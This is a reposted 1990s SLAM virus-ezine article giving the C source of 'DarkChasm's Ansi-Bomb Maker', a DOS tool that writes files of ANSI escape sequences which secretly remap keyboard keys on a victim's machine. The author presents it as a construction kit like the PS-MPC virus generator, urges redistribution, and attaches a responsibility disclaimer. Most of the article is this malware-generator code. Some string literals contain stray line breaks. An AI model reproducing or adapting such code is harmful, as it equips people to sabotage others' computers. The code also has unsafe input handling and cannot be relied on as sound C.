Copy Link
Add to Bookmark
Report

SLAM2.012: DarkChasm's Ansi-Bomb Maker (source code)

eZine's profile picture
Published in 
Slam
 · 23 Feb 2022

DAM
Presented by DarkChasm [SLAM]

Below is the source to DAM (DarkChasm's Ansi-Bomb Maker). DAM was written in C. I tried to comment the source as much as I could.

#include "stdio.h" 
#include "conio.h"
#include "dos.h" // Some files to include before compiling
#include "fstream.h"
#include "iostream.h"
#include "stdlib.h"

char Pause() // Declare function Pause
{
char c; // Declare a place in memory for c
printf("\nPress Enter to continue..."); // Send text to screen
while ((c = getchar()) != '\n') { } // While c isn't = Enter, do nothing
return c; // Return c to calling function or program
}

char Intro() // Declare function Intro
{
printf(" DarkChasm's Ansi-Bomb Maker (Final).\n\n\n\n\n\n\n\n\n");
printf(" What is an ANSI-BOMB?\n\n\n");
printf(" An ANSI-BOMB is a little batch file that redefines the keys on the keyboard.\n\n\n\n\n\n\n\n\n\n\n");

return 0; // Return 0 to calling program or function
}

char Finished() // Declare function Finished
{
clrscr(); // Do function clrscr

printf("||||||||| |||||||||||| |||||||||||| ||| |||\n");
printf("||| ||| ||| ||| ||| ||| ||| |||\n");
printf("||| ||| ||| ||| ||| ||| ||| |||\n");
printf("||| ||| ||| ||| ||| ||| ||| |||\n");
printf("||| ||| ||| ||| |||||||||||| ||||||\n");
printf("||| ||| |||||||||||| ||| ||| ||||||\n");
printf("||| ||| ||| ||| ||| ||| ||| |||\n");
printf("||| ||| ||| ||| ||| ||| ||| |||\n");
printf("||| ||| ||| ||| ||| ||| ||| |||\n");
printf("||| ||| ||| ||| ||| ||| ||| |||\n");
printf("||||||||| ||| ||| ||| ||| ||| |||\n");
printf(" \n");
printf("||||||||||||| ||| ||| ||||||||||||| ||||||||||||| ||||||||||||||||||||\n");
printf("||| ||| ||| ||| ||| ||| ||| ||| |||\n");
printf("||| ||| ||| ||| ||| ||| ||| ||| |||\n");
printf("||| ||| ||| ||| ||| ||| ||| ||| |||\n");
printf("||| ||| ||| ||| ||| ||| ||| ||| |||\n");
printf("||| |||||||||||| ||||||||||||| ||||||||||||| ||| ||| |||\n");
printf("||| ||| ||| ||| ||| ||| ||| ||| |||\n");
printf("||| ||| ||| ||| ||| ||| ||| ||| |||\n");
printf("||| ||| ||| ||| ||| ||| ||| ||| |||\n");
printf("||| ||| ||| ||| ||| ||| ||| ||| |||\n");
printf("||||||||||||| ||| ||| ||| ||| ||||||||||||| ||| ||| |||");

return 0; // Return 0 to calling function or program
}

char Warning() // Declare function Warning
{
printf("\n\n\n\n\n\n\n\n\n\n\nWARNING: By hitting enter (return) you agree not to hold me responsible for your actions.\n\n\n\n\n\n\n\n\n\n\n");

return 0; // Return 0 to calling function or program
}

char AnsiBomb() // Declare function AsniBomb
{
clrscr(); // Do function clrscr
Intro(); // Do function Intro
Pause(); // Do function Pause
clrscr(); // Do function clrscr
Warning(); // Do function Warning
Pause(); // Do function Pause
clrscr(); // Do function clrscr
ofstream file_ptr; // It has to be there so I can mess with the file(s)
unsigned char filename[15]; // reserve a place in memory for a string
printf("File to be created, overwritten, or appended: "); // Show text
gets(filename); // Get the string
printf("\nDo you want to (A)ppend or (O)verwrite the file: "); // Show text
int append; // Declare a place in memory for append
int overwrite; // Declare a place in memory for overwrite
unsigned char apporover = getche(); // Get next letter
append = (apporover == 'A' || apporover == 'a'); // append = a or A
overwrite = (apporover == 'O' || apporover == 'o'); // overwrite = o or O
if (overwrite) // if overwrite is true do next step
file_ptr.open(filename,ios::trunc); // open file to overwrite
else if (append) // if append is true do next step
file_ptr.open(filename,ios::app); // open file for appending
else // anything else do next step
printf("SMALL PROBLEM"); // Send text to screen
file_ptr<<"@ECHO ON\n"; // Write to file
AGAIN: // Little function type thing called AGAIN
unsigned char letter; // Declare a place in memory for letter
printf("\n\nWhat key do you want to replace: "); // Send text to screen
letter = getche(); // Get the letter
file_ptr<<"[\""; // Write to file
file_ptr<<letter; // Write letter to file
char string[254]; // Declare a place in memory for a string called string
printf("
\nWhat do you want to replace it with: "); // Send text to screen
gets(string); // Get the string
file_ptr<<"
\";\""; // Write to file
file_ptr<<string; // Write the string to file
file_ptr<<"
\";13p\n"; // Write to file
printf("\nReplace another key? (Y or N): "); // Send text to screen
unsigned char repeat_again; // Declare a place in memory for repeat_again
unsigned char yep; // Declare a place in memory for yep
repeat_again = getche(); // Get the letter
yep = (repeat_again == 'y' || repeat_again == 'Y'); // yep = y or Y
if (yep) goto AGAIN; // f y or Y was pressed do goto AGAIN

file_ptr.close(); // Close the file
Finished(); // Do function Finished
return 0; // Return 0 to calling program or function
}

int main() // Declare function main
{
AnsiBomb(); // Do function AnsiBomb

return 0; // return 0 to calling program or function
}


As you can see this is no awesome program. It is VERY simple. It demonstrates how EASY it is to use a high level language to build a construction kit of some kind. Remember PS-MPC by Dark Angel? It was written in C. If you ever can't decide what language to learn next, try C. Oh yeah, one last thing. This program is "freeware" and shall remain that way. Pretend there is a sign attached to it saying "Distribute Me, PLEASE". Don't take my handle off this program. I compiled it under Borland Turbo C++ 3.0 for DOS. It should compile fine under any newer Borland compiler.

DarkChasm [SLAM]

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT